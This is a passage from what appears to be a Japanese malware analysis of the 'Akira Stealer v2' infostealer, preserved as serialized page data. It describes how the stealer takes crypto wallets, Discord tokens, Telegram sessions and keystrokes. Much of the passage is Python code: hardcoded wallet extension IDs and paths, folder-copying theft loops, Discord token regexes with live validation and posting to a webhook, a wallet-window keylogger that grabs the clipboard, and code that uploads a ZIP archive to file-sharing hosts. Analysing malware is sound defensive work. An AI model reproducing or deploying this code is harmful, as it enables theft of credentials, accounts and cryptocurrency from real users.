url:\n",[1680,7676,7677],{"class":1682,"line":2064},[1680,7678,7679],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1680,7681,7682],{"class":1682,"line":2070},[1680,7683,7684],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1680,7686,7687],{"class":1682,"line":2393},[1680,7688,7689],{},"Utils.clear_client_folder()\n",[604,7691,7692,7702,7716,7733],{},[607,7693,7694,7697,7698,7701],{},[539,7695,7696],{},"主チャネル（GoFile.io）:"," マルウェアはまず、窃取した成果物をすべて含むZIPアーカイブをGoFile.ioにアップロードしようとし、JSONレスポンスを解析して、攻撃者にアーカイブへの直接アクセスを与える ",[550,7699,7700],{},"downloadPage"," URLを取り出します。",[607,7703,7704,7707,7708,7711,7712,7715],{},[539,7705,7706],{},"自動フォールバック:"," GoFileのエンドポイントが失敗した場合（ネットワークタイムアウト、レート制限など）、コードはシームレスに ",[550,7709,7710],{},"file.io"," にフォールバックし、それも空のリンクを返した場合は最終的に ",[550,7713,7714],{},"oshi.at"," にフォールバックします。いずれの代替も例外を発生させずに呼び出され、3つのサービスのいずれかが必ず順に試されるようになっています。",[607,7717,7718,7721,7722,7725,7726,620,7729,7732],{},[539,7719,7720],{},"Webhookによる報告:"," URL（あるいは失敗が続いた場合は空文字列）が確定すると、",[550,7723,7724],{},"Webhook.sendDataTG(...)"," が呼び出され、ダウンロードリンク、マシン識別子（",[550,7727,7728],{},"chatId",[550,7730,7731],{},"startup"," フラグ）、そしてすべてのカテゴリー件数（パスワード、Cookie、自動入力、ウォレット）を1つのDiscordまたはTelegramメッセージにまとめます。",[607,7734,7735,7738,7739,7742],{},[539,7736,7737],{},"即時のクリーンアップ:"," 報告の後、",[550,7740,7741],{},"Utils.clear_client_folder()"," が一時作業領域全体とZIPファイル自体を再帰的に削除し、収集したデータやアーカイブの痕跡をディスク上に一切残しません。",[821,7744,7745,7750],{},[532,7746,7747],{},[539,7748,7749],{},"障害への耐性:",[604,7751,7752,7759],{},[607,7753,7754,7755,7758],{},"すべてのアップロードルーチンは失敗時に例外を投げるのではなく ",[550,7756,7757],{},"\"\""," を返し、コードの流れが確実に継続するようにします。",[607,7760,7761],{},"すべてのサービスに到達できない場合でも、マルウェアはローカルの成果物を消去する前に（リンクが欠けた状態ではあれ）Webhookの報告を送信し、プロセスが予期せずクラッシュしない限りフォレンジック上の残留を最小化します。",[827,7763],{"className":7764},[830,831],[532,7766,7767],{},[539,7768,7769],{},"6. 堅牢性とエラー処理",[604,7771,7772,7789,7795,7804],{},[607,7773,7774,3252,7777,7780,7781,7784,7785,7788],{},[539,7775,7776],{},"きめ細かな例外処理:",[550,7778,7779],{},"shutil.copy","、SQLiteクエリ、ZIP操作など、あらゆるファイルシステムとのやり取りが ",[550,7782,7783],{},"try/except"," ブロックで包まれています。エラーが発生すると（DBのロック、権限拒否、不正なレコードなど）、例外は捕捉されて ",[550,7786,7787],{},"Akira.logErrorTg()"," 経由で記録され、実行は継続します。障害はその特定のファイルやモジュールに封じ込められます。",[607,7790,7791,7794],{},[539,7792,7793],{},"ブラウザーごとのスレッド分離:"," 対応する各ブラウザーの抽出ルーチンは、それぞれ独立したスレッドで動作します。このマルチスレッド設計により、あるブラウザーの抽出でのクラッシュやデッドロック（破損したプロファイル、鍵の欠落など）が、他のブラウザーの解析を止めたり遅らせたりしないようになっています。",[607,7796,7797,7800,7801,7803],{},[539,7798,7799],{},"静かなフォールバックと既定値:"," 代替のファイルホストへのアップロード、リモートリソースの確認、サブプロセスの起動といった多くの補助ルーチンは、表面的なアラートを出さずに入れ子の ",[550,7802,7783],{}," を用い、ステルス性を最大化します。既定値（空文字列、ブール値）は、流れを途切れさせず明白なエラー状態を取り除くように選ばれています。",[607,7805,7806,7809,7810,7813,7814,7817],{},[539,7807,7808],{},"ミューテックスと起動時のガード:"," 名前付きミューテックス（",[550,7811,7812],{},"1qsMlseJplTlArIF14f","）が多重起動を防ぎ、レジストリのチェックと ",[550,7815,7816],{},"Utils.CreateMutex()"," が同時実行を防ぐことで、実運用での配備時にさらなる安定性をもたらします。",[714,7819,7821],{"id":7820},"_78-ウォレットとトークンの窃取","7.8 ウォレットとトークンの窃取",[532,7823,720],{},[532,7825,7826],{},"このフェーズでAkira Stealer v2は、ブラウザー拡張機能、デスクトップウォレット、メッセージングのトークン、そしてライブのキーロギングにまたがって、暗号通貨の認証情報とセッショントークンに対する最も包括的な掃討を行います。並列スレッドで実行され、どの経路も取りこぼしません。以下は、コードに基づくステップバイステップの詳細な掘り下げです。",[862,7828,7830],{"id":7829},"_781-ブラウザー拡張機能のウォレット","7.8.1 ブラウザー拡張機能のウォレット",[532,7832,868],{},[532,7834,7835,7838],{},[539,7836,7837],{},"標的:"," MetaMask、Phantom、Trust Wallet、Coinbase Wallet、Solflare、Exodus、Binance Chain Wallet、Keplr、Nami、TronLink、Rabby、Talismanなど、主要なブラウザーにまたがる80を超える拡張機能。",[588,7840,7842],{"className":4486,"code":7841,"language":4488,"meta":594,"style":594},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[550,7843,7844,7849,7854,7859,7864,7869,7874,7879,7884,7889,7894,7899,7904,7909,7914,7919,7924,7929,7934,7939,7944,7949,7954],{"__ignoreMap":594},[1680,7845,7846],{"class":1682,"line":1683},[1680,7847,7848],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1680,7850,7851],{"class":1682,"line":2058},[1680,7852,7853],{},"walletsExtensions = [\n",[1680,7855,7856],{"class":1682,"line":2064},[1680,7857,7858],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1680,7860,7861],{"class":1682,"line":2070},[1680,7862,7863],{},"    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1680,7865,7866],{"class":1682,"line":2393},[1680,7867,7868],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1680,7870,7871],{"class":1682,"line":2399},[1680,7872,7873],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1680,7875,7876],{"class":1682,"line":3051},[1680,7877,7878],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1680,7880,7881],{"class":1682,"line":3846},[1680,7882,7883],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1680,7885,7886],{"class":1682,"line":3852},[1680,7887,7888],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1680,7890,7891],{"class":1682,"line":4099},[1680,7892,7893],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1680,7895,7896],{"class":1682,"line":5020},[1680,7897,7898],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1680,7900,7901],{"class":1682,"line":5026},[1680,7902,7903],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1680,7905,7906],{"class":1682,"line":5032},[1680,7907,7908],{},"    # ... plus dozens more mapped in code\n",[1680,7910,7911],{"class":1682,"line":5038},[1680,7912,7913],{},"]\n",[1680,7915,7916],{"class":1682,"line":5044},[1680,7917,7918],{},"# Extraction loop for each browser profile\n",[1680,7920,7921],{"class":1682,"line":5050},[1680,7922,7923],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1680,7925,7926],{"class":1682,"line":5056},[1680,7927,7928],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1680,7930,7931],{"class":1682,"line":5062},[1680,7932,7933],{},"    for ext_name, ext_id in walletsExtensions:\n",[1680,7935,7936],{"class":1682,"line":5068},[1680,7937,7938],{},"        src = os.path.join(base, ext_id)\n",[1680,7940,7941],{"class":1682,"line":5074},[1680,7942,7943],{},"        if os.path.isdir(src):\n",[1680,7945,7946],{"class":1682,"line":5080},[1680,7947,7948],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1680,7950,7951],{"class":1682,"line":5086},[1680,7952,7953],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1680,7955,7956],{"class":1682,"line":5092},[1680,7957,7958],{},"            data.ext_wallets_count += 1\n",[604,7960,7961,7967],{},[607,7962,7963,7966],{},[539,7964,7965],{},"コピーされるファイル",": 暗号化された鍵、シードフレーズ、ログイン認証情報を含む、拡張機能固有のIndexedDB、LevelDB、JSON、設定ファイル。",[607,7968,7969,975,7972,620,7975,7978],{},[539,7970,7971],{},"出力先フォルダー",[550,7973,7974],{},"Wallets/MetaMask_Chrome/",[550,7976,7977],{},"Wallets/Phantom_Edge/"," など。",[862,7980,7982],{"id":7981},"_782-デスクトップウォレットアプリケーション","7.8.2 デスクトップウォレットアプリケーション",[532,7984,868],{},[532,7986,7987,7989],{},[539,7988,7837],{}," Electrum、Exodus、Atomic Wallet、Guarda、Rabby、Coinomi、Zcash、Armory、Bytecoin、Jaxx、Coinomiなど、主要なデスクトップクライアント。",[588,7991,7993],{"className":4486,"code":7992,"language":4488,"meta":594,"style":594},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[550,7994,7995,8000,8005,8010,8015,8020,8025,8030,8034,8039,8044,8049,8054,8059],{"__ignoreMap":594},[1680,7996,7997],{"class":1682,"line":1683},[1680,7998,7999],{},"walletsDesktop = [\n",[1680,8001,8002],{"class":1682,"line":2058},[1680,8003,8004],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1680,8006,8007],{"class":1682,"line":2064},[1680,8008,8009],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1680,8011,8012],{"class":1682,"line":2070},[1680,8013,8014],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1680,8016,8017],{"class":1682,"line":2393},[1680,8018,8019],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1680,8021,8022],{"class":1682,"line":2399},[1680,8023,8024],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1680,8026,8027],{"class":1682,"line":3051},[1680,8028,8029],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1680,8031,8032],{"class":1682,"line":3846},[1680,8033,7913],{},[1680,8035,8036],{"class":1682,"line":3852},[1680,8037,8038],{},"for name, path in walletsDesktop:\n",[1680,8040,8041],{"class":1682,"line":4099},[1680,8042,8043],{},"    if os.path.isdir(path):\n",[1680,8045,8046],{"class":1682,"line":5020},[1680,8047,8048],{},"        Utils.TaskKill(name.lower())\n",[1680,8050,8051],{"class":1682,"line":5026},[1680,8052,8053],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1680,8055,8056],{"class":1682,"line":5032},[1680,8057,8058],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1680,8060,8061],{"class":1682,"line":5038},[1680,8062,8063],{},"        data.desktop_wallets_count += 1\n",[604,8065,8066,8079],{},[607,8067,8068,8071,8072,620,8075,8078],{},[539,8069,8070],{},"窃取されるデータ",": キーストアファイル（",[550,8073,8074],{},"*.dat",[550,8076,8077],{},"*.json","）、秘密鍵のエクスポート、ウォレットの設定、取引履歴。",[607,8080,8081,8084],{},[539,8082,8083],{},"利点",": 攻撃者が取引を承認するのに使える、オフラインのウォレットの内容。",[862,8086,8088],{"id":8087},"_783-discordトークンの収集","7.8.3 Discordトークンの収集",[532,8090,868],{},[532,8092,8093],{},"Discordトークンは認証の成果物であり、本質的には長寿命のベアラートークンです。ユーザーの認証情報やMFAを必要とせずにアカウントへの完全なアクセスを与えてしまいます。Akiraはこれを悪用し、Discord Stable、Canary、PTB（Public Test Build）、さらにはLightcordのような改変フォークを含むさまざまなDiscordクライアントが保存したトークンを求めて、ブラウザーやアプリのデータフォルダーを走査します。",[532,8095,8096],{},"この手法は、アプリケーションのLocal Storage配下のLevelDBファイルを標的にします。認証トークンはそこに平文のまま残っていることがよくあります。正規表現を使って、これらの.logファイルと.ldbファイルを走査し、通常のユーザートークンまたはMFA有効のトークンに一致するパターンを探します。",[532,8098,8099],{},"信頼性を高めノイズを減らすため、Akiraには検証のステップが含まれています。収集した各トークンを使ってDiscordの/users/@meエンドポイントにテストリクエストを送るのです。認証に成功（HTTP 200）したトークンだけが、Webhook経由で（通常は攻撃者が管理するDiscordチャネルへ）窃取されます。",[532,8101,8102],{},"この方法により、攻撃者はDiscordアカウントをリアルタイムに乗っ取り、被害者になりすまし、DMやサーバーを収集し、あるいはソーシャルエンジニアリングを通じてさらなるマルウェアを配備できます。しかもログインのアラートを一切発生させません。",[588,8104,8106],{"className":4486,"code":8105,"language":4488,"meta":594,"style":594},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, json=payload)\n",[550,8107,8108,8113,8118,8123,8128,8132,8137,8142,8147,8152,8157,8162,8167,8172,8177,8182,8187,8192,8197],{"__ignoreMap":594},[1680,8109,8110],{"class":1682,"line":1683},[1680,8111,8112],{},"import re, requests\n",[1680,8114,8115],{"class":1682,"line":2058},[1680,8116,8117],{},"patterns = [\n",[1680,8119,8120],{"class":1682,"line":2064},[1680,8121,8122],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1680,8124,8125],{"class":1682,"line":2070},[1680,8126,8127],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1680,8129,8130],{"class":1682,"line":2393},[1680,8131,7913],{},[1680,8133,8134],{"class":1682,"line":2399},[1680,8135,8136],{},"def harvest_discord(base, webhook_url):\n",[1680,8138,8139],{"class":1682,"line":3051},[1680,8140,8141],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1680,8143,8144],{"class":1682,"line":3846},[1680,8145,8146],{},"    for file in os.listdir(db_dir):\n",[1680,8148,8149],{"class":1682,"line":3852},[1680,8150,8151],{},"        if file.endswith(('.log', '.ldb')):\n",[1680,8153,8154],{"class":1682,"line":4099},[1680,8155,8156],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1680,8158,8159],{"class":1682,"line":5020},[1680,8160,8161],{},"                for pat in patterns:\n",[1680,8163,8164],{"class":1682,"line":5026},[1680,8165,8166],{},"                    for token in re.findall(pat, line):\n",[1680,8168,8169],{"class":1682,"line":5032},[1680,8170,8171],{},"                        # Verify token\n",[1680,8173,8174],{"class":1682,"line":5038},[1680,8175,8176],{},"                        h = {\"Authorization\": token}\n",[1680,8178,8179],{"class":1682,"line":5044},[1680,8180,8181],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1680,8183,8184],{"class":1682,"line":5050},[1680,8185,8186],{},"                        if r.status_code == 200:\n",[1680,8188,8189],{"class":1682,"line":5056},[1680,8190,8191],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1680,8193,8194],{"class":1682,"line":5062},[1680,8195,8196],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1680,8198,8199],{"class":1682,"line":5068},[1680,8200,8201],{},"                            requests.post(webhook_url, json=payload)\n",[604,8203,8204],{},[607,8205,8206,8209],{},[539,8207,8208],{},"検証",": 有効なトークンのみを送信し、失効したJWTが送られるのを防ぎます。",[862,8211,8213],{"id":8212},"_784-telegramのセッションファイル","7.8.4 Telegramのセッションファイル",[532,8215,868],{},[532,8217,8218,8220],{},[539,8219,7837],{}," Telegram Desktop/TData",[588,8222,8224],{"className":4486,"code":8223,"language":4488,"meta":594,"style":594},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[550,8225,8226,8231,8236,8241,8246,8251],{"__ignoreMap":594},[1680,8227,8228],{"class":1682,"line":1683},[1680,8229,8230],{},"def steal_telegram(tdata_path, dest_root):\n",[1680,8232,8233],{"class":1682,"line":2058},[1680,8234,8235],{},"    if os.path.exists(tdata_path):\n",[1680,8237,8238],{"class":1682,"line":2064},[1680,8239,8240],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1680,8242,8243],{"class":1682,"line":2070},[1680,8244,8245],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1680,8247,8248],{"class":1682,"line":2393},[1680,8249,8250],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1680,8252,8253],{"class":1682,"line":2399},[1680,8254,8255],{},"        data.has_telegram = True\n",[604,8257,8258,8272],{},[607,8259,8260,8263,8264,8267,8268,8271],{},[539,8261,8262],{},"ファイル",": セッションキーを含む ",[550,8265,8266],{},"tdata"," フォルダー、secret／unsecretファイルを含む ",[550,8269,8270],{},"D877F..."," フォルダー。",[607,8273,8274,8277],{},[539,8275,8276],{},"用途",": 攻撃者のTelegramクライアントに読み込ませ、アカウントへ完全にアクセスする。",[862,8279,8281],{"id":8280},"_785-ウォレットのライブキーロギング","7.8.5 ウォレットのライブキーロギング",[532,8283,868],{},[532,8285,8286],{},"暗号通貨ウォレットは、現代の情報窃取ツールにとって格好の標的です。Akiraには、シードフレーズ、秘密鍵、パスワードといったウォレットの認証情報を入力の瞬間に盗むことに特化したライブキーロガーが含まれています。汎用のキーロガーと異なり、これは既知のウォレットウィンドウを検出したときにのみ起動するため、ノイズを劇的に減らし効率を高めます。",[532,8288,8289],{},"このモジュールは、アクティブなウィンドウのタイトルを監視し、MetaMask、Phantom、Atomic Walletなどの人気のウォレットアプリのハードコードされたリストと照合します。一致するウィンドウがフォーカスされると、システム全体のキーボードフックを介してキー入力の記録を開始します。ユーザーがEnterを押すと、モジュールはただちに現在のクリップボードの内容を捕捉し（ユーザーはウォレットのセットアップやログイン時に秘密をコピーすることが多いと知っているためです）、入力された内容とクリップボードのデータの両方を攻撃者のWebhookに送ります。このアプローチは2つの攻撃経路を組み合わせるため、きわめて効果的です。",[604,8291,8292,8295],{},[607,8293,8294],{},"文脈を認識したキーロギング。関連する場合にのみ機微なウォレット入力を捕捉します。",[607,8296,8297],{},"クリップボードの乗っ取り。コピーされた復元フレーズや送金先アドレスが貼り付けられる前に抽出します。",[532,8299,8300],{},"これらの手法を合わせることで、攻撃者はブラウザーへのアクセスやファイルの窃取がなくても、リアルタイムに静かにウォレットを侵害できます。",[588,8302,8304],{"className":4486,"code":8303,"language":4488,"meta":594,"style":594},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[550,8305,8306,8311,8315,8320,8325,8330,8335,8340,8344,8349,8354,8359,8364,8369,8374,8379,8384],{"__ignoreMap":594},[1680,8307,8308],{"class":1682,"line":1683},[1680,8309,8310],{},"import keyboard, pyperclip\n",[1680,8312,8313],{"class":1682,"line":2058},[1680,8314,3843],{"emptyLinePlaceholder":325},[1680,8316,8317],{"class":1682,"line":2064},[1680,8318,8319],{},"class WalletKeylogger:\n",[1680,8321,8322],{"class":1682,"line":2070},[1680,8323,8324],{},"    def __init__(self, wallet_titles):\n",[1680,8326,8327],{"class":1682,"line":2393},[1680,8328,8329],{},"        self.buf = \"\"\n",[1680,8331,8332],{"class":1682,"line":2399},[1680,8333,8334],{},"        keyboard.on_release(self.capture)\n",[1680,8336,8337],{"class":1682,"line":3051},[1680,8338,8339],{},"        self.wallet_titles = wallet_titles\n",[1680,8341,8342],{"class":1682,"line":3846},[1680,8343,3843],{"emptyLinePlaceholder":325},[1680,8345,8346],{"class":1682,"line":3852},[1680,8347,8348],{},"    def capture(self, event):\n",[1680,8350,8351],{"class":1682,"line":4099},[1680,8352,8353],{},"        title = pygetwindow.getActiveWindow().title\n",[1680,8355,8356],{"class":1682,"line":5020},[1680,8357,8358],{},"        if any(w in title for w in self.wallet_titles):\n",[1680,8360,8361],{"class":1682,"line":5026},[1680,8362,8363],{},"            if event.name == 'enter':\n",[1680,8365,8366],{"class":1682,"line":5032},[1680,8367,8368],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1680,8370,8371],{"class":1682,"line":5038},[1680,8372,8373],{},"                send_to_webhook(data)\n",[1680,8375,8376],{"class":1682,"line":5044},[1680,8377,8378],{},"                self.buf = \"\"\n",[1680,8380,8381],{"class":1682,"line":5050},[1680,8382,8383],{},"            else:\n",[1680,8385,8386],{"class":1682,"line":5056},[1680,8387,8388],{},"                self.buf += event.name\n",[604,8390,8391,8397],{},[607,8392,8393,8396],{},[539,8394,8395],{},"トリガーのリスト",": 「MetaMask」「Phantom」「Atomic Wallet」などを含むウィンドウタイトル。",[607,8398,8399,8402],{},[539,8400,8401],{},"クリップボード",": コピーされたシードや秘密鍵を捕捉します。",[862,8404,8406],{"id":8405},"_786-パッケージングと窃取","7.8.6 パッケージングと窃取",[532,8408,868],{},[532,8410,8411],{},"ブラウザーデータ、認証情報、ウォレット情報、トークンを収集した後、Akiraは戦利品を高度に自動化されたステルスな方法で統合し窃取します。この段階は感染チェーンの最終ステップにあたり、信頼性とフォレンジック上の痕跡の最小化に最適化されています。まず、収集したすべてのデータ（ブラウザーのダンプ、ログ、キーロギングで得たウォレット情報を含む）がZIPアーカイブに圧縮されます。これにより、データセット全体を1つのペイロードとして転送できます。次にアーカイブは、可用性に応じてGoFile、File.io、Oshi.atといった複数の公開ファイル共有サービスにアップロードされます。これらのプラットフォームは匿名の一時的なホスティングを提供し、企業のファイアウォールやレピュテーションベースのブロックを回避するためによく使われます。同時に、構造化されたレポートが生成され、DiscordまたはTelegramのWebhook経由で攻撃者に送られます。そこには要約統計（見つかったウォレットの数、有効だったトークンの数）と、窃取したデータへの直接リンクが含まれます。これにより攻撃者は、アーカイブを開かずとも標的の価値をすばやく把握できます。",[532,8413,8414],{},"最後に、マルウェアは一時フォルダーとアーカイブをディスクから削除し、ローカルのフォレンジック証拠を事実上取り除きます。防御側が感染に気づくころには、データはすでに消えており、多くの場合復元できません。",[588,8416,8418],{"className":4486,"code":8417,"language":4488,"meta":594,"style":594},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[550,8419,8420,8425,8430,8435,8440,8445,8450,8455,8460,8465,8470,8475,8480,8485,8490,8494,8499,8504],{"__ignoreMap":594},[1680,8421,8422],{"class":1682,"line":1683},[1680,8423,8424],{},"# 1) ZIP everything (including Wallets folder)\n",[1680,8426,8427],{"class":1682,"line":2058},[1680,8428,8429],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1680,8431,8432],{"class":1682,"line":2064},[1680,8433,8434],{},"# 2) Attempt upload to primary & fallback services\n",[1680,8436,8437],{"class":1682,"line":2070},[1680,8438,8439],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1680,8441,8442],{"class":1682,"line":2393},[1680,8443,8444],{},"# 3) Report summary\n",[1680,8446,8447],{"class":1682,"line":2399},[1680,8448,8449],{},"embed = {\n",[1680,8451,8452],{"class":1682,"line":3051},[1680,8453,8454],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1680,8456,8457],{"class":1682,"line":3846},[1680,8458,8459],{},"    \"fields\": [\n",[1680,8461,8462],{"class":1682,"line":3852},[1680,8463,8464],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1680,8466,8467],{"class":1682,"line":4099},[1680,8468,8469],{},"        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n",[1680,8471,8472],{"class":1682,"line":5020},[1680,8473,8474],{},"        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1680,8476,8477],{"class":1682,"line":5026},[1680,8478,8479],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1680,8481,8482],{"class":1682,"line":5032},[1680,8483,8484],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n",[1680,8486,8487],{"class":1682,"line":5038},[1680,8488,8489],{},"    ]\n",[1680,8491,8492],{"class":1682,"line":5044},[1680,8493,2402],{},[1680,8495,8496],{"class":1682,"line":5050},[1680,8497,8498],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1680,8500,8501],{"class":1682,"line":5056},[1680,8502,8503],{},"# 4) Cleanup local folder & ZIP\n",[1680,8505,8506],{"class":1682,"line":5062},[1680,8507,7689],{},[714,8509,8511,8512,2012],{"id":8510},"_79-discordとtelegramのトークン窃取クラス-discord","7.9. DiscordとTelegramのトークン窃取（クラス: ",[550,8513,1319],{},[532,8515,720],{},[532,8517,8518,8519,8521],{},"Akira Stealer v2の ",[539,8520,1319],{}," クラスは、Discordの認可トークンとTelegramのセッションデータの双方を収集するために、高度に並列化された多段階の処理を実行します。以下では、正確なコード参照と具体例を交えて各コンポーネントを分解します。",[862,8523,8525],{"id":8524},"_791-初期化とパスの列挙","7.9.1 